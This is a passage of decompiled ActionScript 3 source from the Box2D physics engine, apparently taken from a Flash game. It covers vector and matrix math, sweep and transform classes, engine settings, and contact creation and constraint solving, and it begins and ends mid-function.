_arg1 = (_arg1 | ((_arg1 >> 2) & 1073741823));
_arg1 = (_arg1 | ((_arg1 >> 4) & 268435455));
_arg1 = (_arg1 | ((_arg1 >> 8) & 0xFFFFFF));
_arg1 = (_arg1 | ((_arg1 >> 16) & 0xFFFF));
return ((_arg1 + 1));
}
public static function b2Max(_arg1:Number, _arg2:Number):Number{
return (((_arg1 > _arg2)) ? _arg1 : _arg2);
}
public static function b2MulMV(_arg1:b2Mat22, _arg2:b2Vec2):b2Vec2{
var _local3:b2Vec2;
_local3 = new b2Vec2(((_arg1.col1.x * _arg2.x) + (_arg1.col2.x * _arg2.y)), ((_arg1.col1.y * _arg2.x) + (_arg1.col2.y * _arg2.y)));
return (_local3);
}
}
}//package Box2D.Common.Math
Section 34
//b2Sweep (Box2D.Common.Math.b2Sweep)
package Box2D.Common.Math {
public class b2Sweep {
public var localCenter:b2Vec2;
public var c:b2Vec2;
public var a:Number;
public var c0:b2Vec2;
public var a0:Number;
public var t0:Number;
public function b2Sweep(){
localCenter = new b2Vec2();
c0 = new b2Vec2();
c = new b2Vec2();
super();
}
public function Advance(_arg1:Number):void{
var _local2:Number;
if ((((t0 < _arg1)) && (((1 - t0) > Number.MIN_VALUE)))){
_local2 = ((_arg1 - t0) / (1 - t0));
c0.x = (((1 - _local2) * c0.x) + (_local2 * c.x));
c0.y = (((1 - _local2) * c0.y) + (_local2 * c.y));
a0 = (((1 - _local2) * a0) + (_local2 * a));
t0 = _arg1;
};
}
public function GetXForm(_arg1:b2XForm, _arg2:Number):void{
var _local3:b2Mat22;
var _local4:Number;
var _local5:Number;
if ((1 - t0) > Number.MIN_VALUE){
_local4 = ((_arg2 - t0) / (1 - t0));
_arg1.position.x = (((1 - _local4) * c0.x) + (_local4 * c.x));
_arg1.position.y = (((1 - _local4) * c0.y) + (_local4 * c.y));
_local5 = (((1 - _local4) * a0) + (_local4 * a));
_arg1.R.Set(_local5);
} else {
_arg1.position.SetV(c);
_arg1.R.Set(a);
};
_local3 = _arg1.R;
_arg1.position.x = (_arg1.position.x - ((_local3.col1.x * localCenter.x) + (_local3.col2.x * localCenter.y)));
_arg1.position.y = (_arg1.position.y - ((_local3.col1.y * localCenter.x) + (_local3.col2.y * localCenter.y)));
}
}
}//package Box2D.Common.Math
Section 35
//b2Vec2 (Box2D.Common.Math.b2Vec2)
package Box2D.Common.Math {
public class b2Vec2 {
public var x:Number;
public var y:Number;
public function b2Vec2(_arg1:Number=0, _arg2:Number=0):void{
x = _arg1;
y = _arg2;
}
public function Set(_arg1:Number=0, _arg2:Number=0):void{
x = _arg1;
y = _arg2;
}
public function Multiply(_arg1:Number):void{
x = (x * _arg1);
y = (y * _arg1);
}
public function Length():Number{
return (Math.sqrt(((x * x) + (y * y))));
}
public function LengthSquared():Number{
return (((x * x) + (y * y)));
}
public function SetZero():void{
x = 0;
y = 0;
}
public function Add(_arg1:b2Vec2):void{
x = (x + _arg1.x);
y = (y + _arg1.y);
}
public function MaxV(_arg1:b2Vec2):void{
x = ((x > _arg1.x)) ? x : _arg1.x;
y = ((y > _arg1.y)) ? y : _arg1.y;
}
public function SetV(_arg1:b2Vec2):void{
x = _arg1.x;
y = _arg1.y;
}
public function Negative():b2Vec2{
return (new b2Vec2(-(x), -(y)));
}
public function CrossVF(_arg1:Number):void{
var _local2:Number;
_local2 = x;
x = (_arg1 * y);
y = (-(_arg1) * _local2);
}
public function Abs():void{
if (x < 0){
x = -(x);
};
if (y < 0){
y = -(y);
};
}
public function Copy():b2Vec2{
return (new b2Vec2(x, y));
}
public function MulTM(_arg1:b2Mat22):void{
var _local2:Number;
_local2 = b2Math.b2Dot(this, _arg1.col1);
y = b2Math.b2Dot(this, _arg1.col2);
x = _local2;
}
public function IsValid():Boolean{
return (((b2Math.b2IsValid(x)) && (b2Math.b2IsValid(y))));
}
public function MinV(_arg1:b2Vec2):void{
x = ((x < _arg1.x)) ? x : _arg1.x;
y = ((y < _arg1.y)) ? y : _arg1.y;
}
public function MulM(_arg1:b2Mat22):void{
var _local2:Number;
_local2 = x;
x = ((_arg1.col1.x * _local2) + (_arg1.col2.x * y));
y = ((_arg1.col1.y * _local2) + (_arg1.col2.y * y));
}
public function Normalize():Number{
var _local1:Number;
var _local2:Number;
_local1 = Math.sqrt(((x * x) + (y * y)));
if (_local1 < Number.MIN_VALUE){
return (0);
};
_local2 = (1 / _local1);
x = (x * _local2);
y = (y * _local2);
return (_local1);
}
public function Subtract(_arg1:b2Vec2):void{
x = (x - _arg1.x);
y = (y - _arg1.y);
}
public function CrossFV(_arg1:Number):void{
var _local2:Number;
_local2 = x;
x = (-(_arg1) * y);
y = (_arg1 * _local2);
}
public static function Make(_arg1:Number, _arg2:Number):b2Vec2{
return (new b2Vec2(_arg1, _arg2));
}
}
}//package Box2D.Common.Math
Section 36
//b2XForm (Box2D.Common.Math.b2XForm)
package Box2D.Common.Math {
public class b2XForm {
public var R:b2Mat22;
public var position:b2Vec2;
public function b2XForm(_arg1:b2Vec2=null, _arg2:b2Mat22=null):void{
position = new b2Vec2();
R = new b2Mat22();
super();
if (_arg1){
position.SetV(_arg1);
R.SetM(_arg2);
};
}
public function Initialize(_arg1:b2Vec2, _arg2:b2Mat22):void{
position.SetV(_arg1);
R.SetM(_arg2);
}
public function Set(_arg1:b2XForm):void{
position.SetV(_arg1.position);
R.SetM(_arg1.R);
}
public function SetIdentity():void{
position.SetZero();
R.SetIdentity();
}
}
}//package Box2D.Common.Math
Section 37
//b2Color (Box2D.Common.b2Color)
package Box2D.Common {
import Box2D.Common.Math.*;
public class b2Color {
private var _g:uint;// = 0
private var _b:uint;// = 0
private var _r:uint;// = 0
public function b2Color(_arg1:Number, _arg2:Number, _arg3:Number){
_r = 0;
_g = 0;
_b = 0;
super();
_r = uint((0xFF * b2Math.b2Clamp(_arg1, 0, 1)));
_g = uint((0xFF * b2Math.b2Clamp(_arg2, 0, 1)));
_b = uint((0xFF * b2Math.b2Clamp(_arg3, 0, 1)));
}
public function Set(_arg1:Number, _arg2:Number, _arg3:Number):void{
_r = uint((0xFF * b2Math.b2Clamp(_arg1, 0, 1)));
_g = uint((0xFF * b2Math.b2Clamp(_arg2, 0, 1)));
_b = uint((0xFF * b2Math.b2Clamp(_arg3, 0, 1)));
}
public function get color():uint{
return (((_r | (_g << 8)) | (_b << 16)));
}
public function set r(_arg1:Number):void{
_r = uint((0xFF * b2Math.b2Clamp(_arg1, 0, 1)));
}
public function set b(_arg1:Number):void{
_b = uint((0xFF * b2Math.b2Clamp(_arg1, 0, 1)));
}
public function set g(_arg1:Number):void{
_g = uint((0xFF * b2Math.b2Clamp(_arg1, 0, 1)));
}
}
}//package Box2D.Common
Section 38
//b2Settings (Box2D.Common.b2Settings)
package Box2D.Common {
import Box2D.Common.Math.*;
public class b2Settings {
public static const b2_angularSleepTolerance:Number = 0.0111111111111111;
public static const b2_linearSleepTolerance:Number = 0.01;
public static const b2_angularSlop:Number = 0.0349065850398866;
public static const b2_linearSlop:Number = 0.005;
public static const b2_pi:Number = 3.14159265358979;
public static const b2_maxProxies:int = 0x0200;
public static const b2_maxAngularVelocitySquared:Number = 62500;
public static const b2_maxPolygonVertices:int = 8;
public static const b2_velocityThreshold:Number = 1;
public static const b2_contactBaumgarte:Number = 0.2;
public static const b2_maxPairs:int = 4096;
public static const b2_maxTOIContactsPerIsland:int = 32;
public static const b2_timeToSleep:Number = 0.5;
public static const b2_maxManifoldPoints:int = 2;
public static const b2_maxAngularVelocity:Number = 250;
public static const b2_maxAngularCorrection:Number = 0.139626340159546;
public static const USHRT_MAX:int = 0xFFFF;
public static const b2_maxLinearVelocity:Number = 200;
public static const b2_maxLinearCorrection:Number = 0.2;
public static const b2_toiSlop:Number = 0.04;
public static const b2_maxLinearVelocitySquared:Number = 40000;
public static function b2Assert(_arg1:Boolean):void{
var _local2:b2Vec2;
if (!_arg1){
_local2.x++;
};
}
}
}//package Box2D.Common
Section 39
//b2CircleContact (Box2D.Dynamics.Contacts.b2CircleContact)
package Box2D.Dynamics.Contacts {
import Box2D.Common.Math.*;
import Box2D.Collision.Shapes.*;
import Box2D.Dynamics.*;
import Box2D.Collision.*;
public class b2CircleContact extends b2Contact {
private var m_manifolds:Array;
private var m0:b2Manifold;
public var m_manifold:b2Manifold;
private static const s_evalCP:b2ContactPoint = new b2ContactPoint();
public function b2CircleContact(_arg1:b2Shape, _arg2:b2Shape){
var _local3:b2ManifoldPoint;
m_manifolds = [new b2Manifold()];
m0 = new b2Manifold();
super(_arg1, _arg2);
m_manifold = m_manifolds[0];
m_manifold.pointCount = 0;
_local3 = m_manifold.points[0];
_local3.normalImpulse = 0;
_local3.tangentImpulse = 0;
}
override public function GetManifolds():Array{
return (m_manifolds);
}
override public function Evaluate(_arg1:b2ContactListener):void{
var _local2:b2Vec2;
var _local3:b2Vec2;
var _local4:b2ManifoldPoint;
var _local5:b2Body;
var _local6:b2Body;
var _local7:b2ContactPoint;
var _local8:b2ManifoldPoint;
_local5 = m_shape1.m_body;
_local6 = m_shape2.m_body;
m0.Set(m_manifold);
b2Collision.b2CollideCircles(m_manifold, (m_shape1 as b2CircleShape), _local5.m_xf, (m_shape2 as b2CircleShape), _local6.m_xf);
_local7 = s_evalCP;
_local7.shape1 = m_shape1;
_local7.shape2 = m_shape2;
_local7.friction = m_friction;
_local7.restitution = m_restitution;
if (m_manifold.pointCount > 0){
m_manifoldCount = 1;
_local8 = m_manifold.points[0];
if (m0.pointCount == 0){
_local8.normalImpulse = 0;
_local8.tangentImpulse = 0;
if (_arg1){
_local7.position = _local5.GetWorldPoint(_local8.localPoint1);
_local2 = _local5.GetLinearVelocityFromLocalPoint(_local8.localPoint1);
_local3 = _local6.GetLinearVelocityFromLocalPoint(_local8.localPoint2);
_local7.velocity.Set((_local3.x - _local2.x), (_local3.y - _local2.y));
_local7.normal.SetV(m_manifold.normal);
_local7.separation = _local8.separation;
_local7.id.key = _local8.id._key;
_arg1.Add(_local7);
};
} else {
_local4 = m0.points[0];
_local8.normalImpulse = _local4.normalImpulse;
_local8.tangentImpulse = _local4.tangentImpulse;
if (_arg1){
_local7.position = _local5.GetWorldPoint(_local8.localPoint1);
_local2 = _local5.GetLinearVelocityFromLocalPoint(_local8.localPoint1);
_local3 = _local6.GetLinearVelocityFromLocalPoint(_local8.localPoint2);
_local7.velocity.Set((_local3.x - _local2.x), (_local3.y - _local2.y));
_local7.normal.SetV(m_manifold.normal);
_local7.separation = _local8.separation;
_local7.id.key = _local8.id._key;
_arg1.Persist(_local7);
};
};
} else {
m_manifoldCount = 0;
if ((((m0.pointCount > 0)) && (_arg1))){
_local4 = m0.points[0];
_local7.position = _local5.GetWorldPoint(_local4.localPoint1);
_local2 = _local5.GetLinearVelocityFromLocalPoint(_local4.localPoint1);
_local3 = _local6.GetLinearVelocityFromLocalPoint(_local4.localPoint2);
_local7.velocity.Set((_local3.x - _local2.x), (_local3.y - _local2.y));
_local7.normal.SetV(m0.normal);
_local7.separation = _local4.separation;
_local7.id.key = _local4.id._key;
_arg1.Remove(_local7);
};
};
}
public static function Destroy(_arg1:b2Contact, _arg2):void{
}
public static function Create(_arg1:b2Shape, _arg2:b2Shape, _arg3):b2Contact{
return (new b2CircleContact(_arg1, _arg2));
}
}
}//package Box2D.Dynamics.Contacts
Section 40
//b2Contact (Box2D.Dynamics.Contacts.b2Contact)
package Box2D.Dynamics.Contacts {
import Box2D.Common.Math.*;
import Box2D.Collision.Shapes.*;
import Box2D.Dynamics.*;
import Box2D.Collision.*;
import Box2D.Common.*;
public class b2Contact {
public var m_shape1:b2Shape;
public var m_shape2:b2Shape;
public var m_prev:b2Contact;
public var m_toi:Number;
public var m_next:b2Contact;
public var m_friction:Number;
public var m_manifoldCount:int;
public var m_node1:b2ContactEdge;
public var m_node2:b2ContactEdge;
public var m_restitution:Number;
public var m_flags:uint;
public static var e_toiFlag:uint = 8;
public static var e_nonSolidFlag:uint = 1;
public static var e_slowFlag:uint = 2;
public static var e_islandFlag:uint = 4;
public static var s_registers:Array;
public static var s_initialized:Boolean = false;
public function b2Contact(_arg1:b2Shape=null, _arg2:b2Shape=null){
m_node1 = new b2ContactEdge();
m_node2 = new b2ContactEdge();
super();
m_flags = 0;
if (((!(_arg1)) || (!(_arg2)))){
m_shape1 = null;
m_shape2 = null;
return;
};
if (((_arg1.IsSensor()) || (_arg2.IsSensor()))){
m_flags = (m_flags | e_nonSolidFlag);
};
m_shape1 = _arg1;
m_shape2 = _arg2;
m_manifoldCount = 0;
m_friction = Math.sqrt((m_shape1.m_friction * m_shape2.m_friction));
m_restitution = b2Math.b2Max(m_shape1.m_restitution, m_shape2.m_restitution);
m_prev = null;
m_next = null;
m_node1.contact = null;
m_node1.prev = null;
m_node1.next = null;
m_node1.other = null;
m_node2.contact = null;
m_node2.prev = null;
m_node2.next = null;
m_node2.other = null;
}
public function GetShape1():b2Shape{
return (m_shape1);
}
public function IsSolid():Boolean{
return (((m_flags & e_nonSolidFlag) == 0));
}
public function GetNext():b2Contact{
return (m_next);
}
public function GetManifolds():Array{
return (null);
}
public function GetShape2():b2Shape{
return (m_shape2);
}
public function GetManifoldCount():int{
return (m_manifoldCount);
}
public function Update(_arg1:b2ContactListener):void{
var _local2:int;
var _local3:int;
var _local4:b2Body;
var _local5:b2Body;
_local2 = m_manifoldCount;
Evaluate(_arg1);
_local3 = m_manifoldCount;
_local4 = m_shape1.m_body;
_local5 = m_shape2.m_body;
if ((((_local3 == 0)) && ((_local2 > 0)))){
_local4.WakeUp();
_local5.WakeUp();
};
if (((((((_local4.IsStatic()) || (_local4.IsBullet()))) || (_local5.IsStatic()))) || (_local5.IsBullet()))){
m_flags = (m_flags & ~(e_slowFlag));
} else {
m_flags = (m_flags | e_slowFlag);
};
}
public function Evaluate(_arg1:b2ContactListener):void{
}
public static function InitializeRegisters():void{
var _local1:int;
var _local2:int;
s_registers = new Array(b2Shape.e_shapeTypeCount);
_local1 = 0;
while (_local1 < b2Shape.e_shapeTypeCount) {
s_registers[_local1] = new Array(b2Shape.e_shapeTypeCount);
_local2 = 0;
while (_local2 < b2Shape.e_shapeTypeCount) {
s_registers[_local1][_local2] = new b2ContactRegister();
_local2++;
};
_local1++;
};
AddType(b2CircleContact.Create, b2CircleContact.Destroy, b2Shape.e_circleShape, b2Shape.e_circleShape);
AddType(b2PolyAndCircleContact.Create, b2PolyAndCircleContact.Destroy, b2Shape.e_polygonShape, b2Shape.e_circleShape);
AddType(b2PolygonContact.Create, b2PolygonContact.Destroy, b2Shape.e_polygonShape, b2Shape.e_polygonShape);
}
public static function Destroy(_arg1:b2Contact, _arg2):void{
var _local3:int;
var _local4:int;
var _local5:b2ContactRegister;
var _local6:Function;
if (_arg1.m_manifoldCount > 0){
_arg1.m_shape1.m_body.WakeUp();
_arg1.m_shape2.m_body.WakeUp();
};
_local3 = _arg1.m_shape1.m_type;
_local4 = _arg1.m_shape2.m_type;
_local5 = s_registers[_local3][_local4];
_local6 = _local5.destroyFcn;
_local6(_arg1, _arg2);
}
public static function AddType(_arg1:Function, _arg2:Function, _arg3:int, _arg4:int):void{
s_registers[_arg3][_arg4].createFcn = _arg1;
s_registers[_arg3][_arg4].destroyFcn = _arg2;
s_registers[_arg3][_arg4].primary = true;
if (_arg3 != _arg4){
s_registers[_arg4][_arg3].createFcn = _arg1;
s_registers[_arg4][_arg3].destroyFcn = _arg2;
s_registers[_arg4][_arg3].primary = false;
};
}
public static function Create(_arg1:b2Shape, _arg2:b2Shape, _arg3):b2Contact{
var _local4:int;
var _local5:int;
var _local6:b2ContactRegister;
var _local7:Function;
var _local8:b2Contact;
var _local9:int;
var _local10:b2Manifold;
if (s_initialized == false){
InitializeRegisters();
s_initialized = true;
};
_local4 = _arg1.m_type;
_local5 = _arg2.m_type;
_local6 = s_registers[_local4][_local5];
_local7 = _local6.createFcn;
if (_local7 != null){
if (_local6.primary){
return (_local7(_arg1, _arg2, _arg3));
};
_local8 = _local7(_arg2, _arg1, _arg3);
_local9 = 0;
while (_local9 < _local8.m_manifoldCount) {
_local10 = _local8.GetManifolds()[_local9];
_local8.GetManifolds()[_local9].normal = _local10.normal.Negative();
_local9++;
};
return (_local8);
//unresolved jump
};
return (null);
}
}
}//package Box2D.Dynamics.Contacts
Section 41
//b2ContactConstraint (Box2D.Dynamics.Contacts.b2ContactConstraint)
package Box2D.Dynamics.Contacts {
import Box2D.Common.Math.*;
import Box2D.Dynamics.*;
import Box2D.Collision.*;
import Box2D.Common.*;
public class b2ContactConstraint {
public var points:Array;
public var restitution:Number;
public var body1:b2Body;
public var manifold:b2Manifold;
public var normal:b2Vec2;
public var body2:b2Body;
public var friction:Number;
public var pointCount:int;
public function b2ContactConstraint(){
var _local1:int;
normal = new b2Vec2();
super();
points = new Array(b2Settings.b2_maxManifoldPoints);
_local1 = 0;
while (_local1 < b2Settings.b2_maxManifoldPoints) {
points[_local1] = new b2ContactConstraintPoint();
_local1++;
};
}
}
}//package Box2D.Dynamics.Contacts
Section 42
//b2ContactConstraintPoint (Box2D.Dynamics.Contacts.b2ContactConstraintPoint)
package Box2D.Dynamics.Contacts {
import Box2D.Common.Math.*;
public class b2ContactConstraintPoint {
public var r2:b2Vec2;
public var separation:Number;
public var positionImpulse:Number;
public var normalImpulse:Number;
public var equalizedMass:Number;
public var tangentMass:Number;
public var tangentImpulse:Number;
public var localAnchor1:b2Vec2;
public var localAnchor2:b2Vec2;
public var normalMass:Number;
public var velocityBias:Number;
public var r1:b2Vec2;
public function b2ContactConstraintPoint(){
localAnchor1 = new b2Vec2();
localAnchor2 = new b2Vec2();
r1 = new b2Vec2();
r2 = new b2Vec2();
super();
}
}
}//package Box2D.Dynamics.Contacts
Section 43
//b2ContactEdge (Box2D.Dynamics.Contacts.b2ContactEdge)
package Box2D.Dynamics.Contacts {
import Box2D.Dynamics.*;
public class b2ContactEdge {
public var next:b2ContactEdge;
public var other:b2Body;
public var contact:b2Contact;
public var prev:b2ContactEdge;
}
}//package Box2D.Dynamics.Contacts
Section 44
//b2ContactRegister (Box2D.Dynamics.Contacts.b2ContactRegister)
package Box2D.Dynamics.Contacts {
public class b2ContactRegister {
public var primary:Boolean;
public var createFcn:Function;
public var destroyFcn:Function;
}
}//package Box2D.Dynamics.Contacts
Section 45
//b2ContactResult (Box2D.Dynamics.Contacts.b2ContactResult)
package Box2D.Dynamics.Contacts {
import Box2D.Common.Math.*;
import Box2D.Collision.Shapes.*;
import Box2D.Collision.*;
public class b2ContactResult {
public var normal:b2Vec2;
public var position:b2Vec2;
public var shape1:b2Shape;
public var shape2:b2Shape;
public var normalImpulse:Number;
public var tangentImpulse:Number;
public var id:b2ContactID;
public function b2ContactResult(){
position = new b2Vec2();
normal = new b2Vec2();
id = new b2ContactID();
super();
}
}
}//package Box2D.Dynamics.Contacts
Section 46
//b2ContactSolver (Box2D.Dynamics.Contacts.b2ContactSolver)
package Box2D.Dynamics.Contacts {
import Box2D.Common.Math.*;
import Box2D.Dynamics.*;
import Box2D.Collision.*;
import Box2D.Common.*;
public class b2ContactSolver {
public var m_constraintCount:int;
public var m_constraints:Array;
public var m_allocator;
public var m_step:b2TimeStep;
public function b2ContactSolver(_arg1:b2TimeStep, _arg2:Array, _arg3:int, _arg4){
var _local5:b2Contact;
var _local6:int;
var _local7:b2Vec2;
var _local8:b2Mat22;
var _local9:int;
var _local10:b2Body;
var _local11:b2Body;
var _local12:int;
var _local13:Array;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
var _local19:Number;
var _local20:Number;
var _local21:Number;
var _local22:int;
var _local23:b2Manifold;
var _local24:Number;
var _local25:Number;
var _local26:b2ContactConstraint;
var _local27:uint;
var _local28:b2ManifoldPoint;
var _local29:b2ContactConstraintPoint;
var _local30:Number;
var _local31:Number;
var _local32:Number;
var _local33:Number;
var _local34:Number;
var _local35:Number;
var _local36:Number;
var _local37:Number;
var _local38:Number;
var _local39:Number;
var _local40:Number;
var _local41:Number;
var _local42:Number;
var _local43:Number;
var _local44:Number;
var _local45:Number;
var _local46:Number;
var _local47:Number;
m_step = new b2TimeStep();
m_constraints = new Array();
super();
m_step.dt = _arg1.dt;
m_step.inv_dt = _arg1.inv_dt;
m_step.maxIterations = _arg1.maxIterations;
m_allocator = _arg4;
m_constraintCount = 0;
_local6 = 0;
while (_local6 < _arg3) {
_local5 = _arg2[_local6];
m_constraintCount = (m_constraintCount + _local5.m_manifoldCount);
_local6++;
};
_local6 = 0;
while (_local6 < m_constraintCount) {
m_constraints[_local6] = new b2ContactConstraint();
_local6++;
};
_local9 = 0;
_local6 = 0;
while (_local6 < _arg3) {
_local5 = _arg2[_local6];
_local10 = _local5.m_shape1.m_body;
_local11 = _local5.m_shape2.m_body;
_local12 = _local5.m_manifoldCount;
_local13 = _local5.GetManifolds();
_local14 = _local5.m_friction;
_local15 = _local5.m_restitution;
_local16 = _local10.m_linearVelocity.x;
_local17 = _local10.m_linearVelocity.y;
_local18 = _local11.m_linearVelocity.x;
_local19 = _local11.m_linearVelocity.y;
_local20 = _local10.m_angularVelocity;
_local21 = _local11.m_angularVelocity;
_local22 = 0;
while (_local22 < _local12) {
_local23 = _local13[_local22];
_local24 = _local23.normal.x;
_local25 = _local23.normal.y;
_local26 = m_constraints[_local9];
_local26.body1 = _local10;
_local26.body2 = _local11;
_local26.manifold = _local23;
_local26.normal.x = _local24;
_local26.normal.y = _local25;
_local26.pointCount = _local23.pointCount;
_local26.friction = _local14;
_local26.restitution = _local15;
_local27 = 0;
while (_local27 < _local26.pointCount) {
_local28 = _local23.points[_local27];
_local29 = _local26.points[_local27];
_local29.normalImpulse = _local28.normalImpulse;
_local29.tangentImpulse = _local28.tangentImpulse;
_local29.separation = _local28.separation;
_local29.positionImpulse = 0;
_local29.localAnchor1.SetV(_local28.localPoint1);
_local29.localAnchor2.SetV(_local28.localPoint2);
_local8 = _local10.m_xf.R;
_local32 = (_local28.localPoint1.x - _local10.m_sweep.localCenter.x);
_local33 = (_local28.localPoint1.y - _local10.m_sweep.localCenter.y);
_local30 = ((_local8.col1.x * _local32) + (_local8.col2.x * _local33));
_local33 = ((_local8.col1.y * _local32) + (_local8.col2.y * _local33));
_local32 = _local30;
_local29.r1.Set(_local32, _local33);
_local8 = _local11.m_xf.R;
_local34 = (_local28.localPoint2.x - _local11.m_sweep.localCenter.x);
_local35 = (_local28.localPoint2.y - _local11.m_sweep.localCenter.y);
_local30 = ((_local8.col1.x * _local34) + (_local8.col2.x * _local35));
_local35 = ((_local8.col1.y * _local34) + (_local8.col2.y * _local35));
_local34 = _local30;
_local29.r2.Set(_local34, _local35);
_local36 = ((_local32 * _local32) + (_local33 * _local33));
_local37 = ((_local34 * _local34) + (_local35 * _local35));
_local38 = ((_local32 * _local24) + (_local33 * _local25));
_local39 = ((_local34 * _local24) + (_local35 * _local25));
_local40 = (_local10.m_invMass + _local11.m_invMass);
_local40 = (_local40 + ((_local10.m_invI * (_local36 - (_local38 * _local38))) + (_local11.m_invI * (_local37 - (_local39 * _local39)))));
_local29.normalMass = (1 / _local40);
_local41 = ((_local10.m_mass * _local10.m_invMass) + (_local11.m_mass * _local11.m_invMass));
_local41 = (_local41 + (((_local10.m_mass * _local10.m_invI) * (_local36 - (_local38 * _local38))) + ((_local11.m_mass * _local11.m_invI) * (_local37 - (_local39 * _local39)))));
_local29.equalizedMass = (1 / _local41);
_local42 = _local25;
_local43 = -(_local24);
_local44 = ((_local32 * _local42) + (_local33 * _local43));
_local45 = ((_local34 * _local42) + (_local35 * _local43));
_local46 = (_local10.m_invMass + _local11.m_invMass);
_local46 = (_local46 + ((_local10.m_invI * (_local36 - (_local44 * _local44))) + (_local11.m_invI * (_local37 - (_local45 * _local45)))));
_local29.tangentMass = (1 / _local46);
_local29.velocityBias = 0;
if (_local29.separation > 0){
_local29.velocityBias = (-60 * _local29.separation);
};
_local30 = (((_local18 + (-(_local21) * _local35)) - _local16) - (-(_local20) * _local33));
_local31 = (((_local19 + (_local21 * _local34)) - _local17) - (_local20 * _local32));
_local47 = ((_local26.normal.x * _local30) + (_local26.normal.y * _local31));
if (_local47 < -(b2Settings.b2_velocityThreshold)){
_local29.velocityBias = (_local29.velocityBias + (-(_local26.restitution) * _local47));
};
_local27++;
};
_local9++;
_local22++;
};
_local6++;
};
}
public function InitVelocityConstraints(_arg1:b2TimeStep):void{
var _local2:b2Vec2;
var _local3:b2Vec2;
var _local4:b2Mat22;
var _local5:int;
var _local6:b2ContactConstraint;
var _local7:b2Body;
var _local8:b2Body;
var _local9:Number;
var _local10:Number;
var _local11:Number;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:int;
var _local19:int;
var _local20:b2ContactConstraintPoint;
var _local21:Number;
var _local22:Number;
var _local23:b2ContactConstraintPoint;
_local5 = 0;
while (_local5 < m_constraintCount) {
_local6 = m_constraints[_local5];
_local7 = _local6.body1;
_local8 = _local6.body2;
_local9 = _local7.m_invMass;
_local10 = _local7.m_invI;
_local11 = _local8.m_invMass;
_local12 = _local8.m_invI;
_local13 = _local6.normal.x;
_local14 = _local6.normal.y;
_local15 = _local14;
_local16 = -(_local13);
if (_arg1.warmStarting){
_local19 = _local6.pointCount;
_local18 = 0;
while (_local18 < _local19) {
_local20 = _local6.points[_local18];
_local6.points[_local18].normalImpulse = (_local20.normalImpulse * _arg1.dtRatio);
_local20.tangentImpulse = (_local20.tangentImpulse * _arg1.dtRatio);
_local21 = ((_local20.normalImpulse * _local13) + (_local20.tangentImpulse * _local15));
_local22 = ((_local20.normalImpulse * _local14) + (_local20.tangentImpulse * _local16));
_local7.m_angularVelocity = (_local7.m_angularVelocity - (_local10 * ((_local20.r1.x * _local22) - (_local20.r1.y * _local21))));
_local7.m_linearVelocity.x = (_local7.m_linearVelocity.x - (_local9 * _local21));
_local7.m_linearVelocity.y = (_local7.m_linearVelocity.y - (_local9 * _local22));
_local8.m_angularVelocity = (_local8.m_angularVelocity + (_local12 * ((_local20.r2.x * _local22) - (_local20.r2.y * _local21))));
_local8.m_linearVelocity.x = (_local8.m_linearVelocity.x + (_local11 * _local21));
_local8.m_linearVelocity.y = (_local8.m_linearVelocity.y + (_local11 * _local22));
_local18++;
};
} else {
_local19 = _local6.pointCount;
_local18 = 0;
while (_local18 < _local19) {
_local23 = _local6.points[_local18];
_local23.normalImpulse = 0;
_local23.tangentImpulse = 0;
_local18++;
};
};
_local5++;
};
}
public function SolvePositionConstraints(_arg1:Number):Boolean{
var _local2:Number;
var _local3:b2Mat22;
var _local4:b2Vec2;
var _local5:int;
var _local6:b2ContactConstraint;
var _local7:b2Body;
var _local8:b2Body;
var _local9:b2Vec2;
var _local10:Number;
var _local11:b2Vec2;
var _local12:Number;
var _local13:Number;
var _local14:Number;
var _local15:Number;
var _local16:Number;
var _local17:Number;
var _local18:Number;
var _local19:int;
var _local20:int;
var _local21:b2ContactConstraintPoint;
var _local22:Number;
var _local23:Number;
var _local24:Number;
var _local25:Number;
var _local26:Number;
var _local27:Number;
var _local28:Number;
var _local29:Number;
var _local30:Number;
var _local31:Number;
var _local32:Number;
var _local33:Number;
var _local34:Number;
var _local35:Number;
var _local36:Number;
var _local37:Number;
var _local38:Number;
_local2 = 0;
_local5 = 0;
while (_local5 < m_constraintCount) {
_local6 = m_constraints[_local5];
_local7 = _local6.body1;
_local8 = _local6.body2;
_local9 = _local7.m_sweep.c;
_local10 = _local7.m_sweep.a;
_local11 = _local8.m_sweep.c;
_local12 = _local8.m_sweep.a;
_local13 = (_local7.m_mass * _local7.m_invMass);
_local14 = (_local7.m_mass * _local7.m_invI);
_local15 = (_local8.m_mass * _local8.m_invMass);
_local16 = (_local8.m_mass * _local8.m_invI);
_local17 = _local6.normal.x;
_local18 = _local6.normal.y;
_local19 = _local6.pointCount;
_local20 = 0;
while (_local20 < _local19) {
_local21 = _local6.points[_local20];
_local3 = _local7.m_xf.R;
_local4 = _local7.m_sweep.localCenter;
_local22 = (_local21.localAnchor1.x - _local4.x);
_local23 = (_local21.localAnchor1.y - _local4.y);
_local26 = ((_local3.col1.x * _local22) + (_local3.col2.x * _local23));
_local23 = ((_local3.col1.y * _local22) + (_local3.col2.y * _local23));
_local22 = _local26;
_local3 = _local8.m_xf.R;
_local4 = _local8.m_sweep.localCenter;
_local24 = (_local21.localAnchor2.x - _local4.x);
_local25 = (_local21.localAnchor2.y - _local4.y);
_local26 = ((_local3.col1.x * _local24) + (_local3.col2.x * _local25));
_local25 = ((_local3.col1.y * _local24) + (_local3.col2.y * _local25));
_local24 = _local26;
_local27 = (_local9.x + _local22);
_local28 = (_local9.y + _local23);
_local29 = (_local11.x + _local24);
_local30 = (_local11.y + _local25);
_local31 = (_local29 - _local27);
_local32 = (_local30 - _local28);
_local33 = (((_local31 * _local17) + (_local32 * _local18)) + _local21.separation);
_local2 = b2Math.b2Min(_local2, _local33);
_local34 = (_arg1 * b2Math.b2Clamp((_local33 + b2Settings.b2_linearSlop), -(b2Settings.b2_maxLinearCorrection), 0));
_local35 = (-(_local21.equalizedMass) * _local34);
_local36 = _local21.positionImpulse;
_local21.positionImpulse = b2Math.b2Max((_local36 + _local35), 0);
_local35 = (_local21.positionImpulse - _local36);
_local37 = (_local35 * _local17);
_local38 = (_local35 * _local18);
_local9.x = (_local9.x - (_local13 * _local37));
_local9.y = (_local9.y - (_local13 * _local38));
_local10 = (_local10 - (_local14 * ((_local22 * _local38) - (_local23 * _local37))));
_local7.m_sweep.a = _local10;
_local7.SynchronizeTransform();
_local11.x = (_local11.x + (_local15 * _local37));
_local11.y = (_local11.y + (_local15 * _local38));
